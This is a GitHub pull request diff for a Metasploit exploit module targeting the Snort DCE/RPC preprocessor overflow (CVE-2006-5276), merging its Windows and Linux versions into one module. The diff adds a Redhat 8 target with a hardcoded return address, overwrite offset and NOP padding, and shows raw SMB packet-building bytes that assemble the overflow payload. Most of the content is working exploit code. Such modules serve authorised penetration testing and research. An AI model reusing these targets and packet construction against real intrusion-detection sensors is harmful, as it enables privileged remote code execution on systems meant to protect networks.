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combining linux and windows exploits for Snort DCE/RPC bug into one 'multi' module #450

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Jun 5, 2012
Merged

combining linux and windows exploits for Snort DCE/RPC bug into one 'multi' module #450

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27 changes: 21 additions & 6 deletions ...les/exploits/windows/ids/snort_dce_rpc.rb → modules/exploits/multi/ids/snort_dce_rpc.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -31,14 +31,18 @@ def initialize(info = {})
'Author' =>
[
'Neel Mehta', #Original discovery (IBM X-Force)
'Carsten Maartmann-Moe <carsten[at]carmaa.com>' #Metasploit
'Trirat Puttaraksa', #POC
'Carsten Maartmann-Moe <carsten[at]carmaa.com>', #Metasploit win
'0a29406d9794e4f9b30b3c5d6702c708' #Metasploit linux

],
'License' => MSF_LICENSE,
'Platform' => 'win',
'References' =>
[
[ 'OSVDB', '32094' ],
[ 'CVE', '2006-5276' ],
[ 'URL', 'http://web.archive.org/web/20070221235015/http://www.snort.org/docs/advisory-2007-02-19.html'],
[ 'URL', 'http://sf-freedom.blogspot.com/2007/02/snort-261-dcerpc-preprocessor-remote.html'],
[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py']
],
'DefaultOptions' =>
Expand All @@ -56,10 +60,21 @@ def initialize(info = {})
[
'Windows Universal',
{
'Platform' => 'win',
'Ret' => 0x00407c01, # JMP ESP snort.exe
'Offset' => 289 # The number of bytes before overwrite
'Offset' => 289, # The number of bytes before overwrite
'Padding' => 0
}
],
[
'Redhat 8',
{
'Platform' => 'linux',
'Ret' => 0xbffff110,
'Offset' => 317,
'Padding' => 28
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Feb 19 2007',
Expand Down Expand Up @@ -133,7 +148,6 @@ def buildpacket(shost, rhost, rport)
# Write AndX Request #2
header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
header << "\x00\x48\x00\x00\x00\xff\x01"

tail = "\x00\x00\x00\x00\x49\x00\xee"

# Return address
Expand All @@ -150,9 +164,10 @@ def buildpacket(shost, rhost, rport)
requestsize = [(sploit.size() + target['Offset'])].pack('v')

# Assemble the parts into one package
p.payload = header << requestsize << tail << eip << sploit
p.payload = header << requestsize << tail << make_nops(target['Padding']) << eip << sploit

p.recalc

p
end
end
end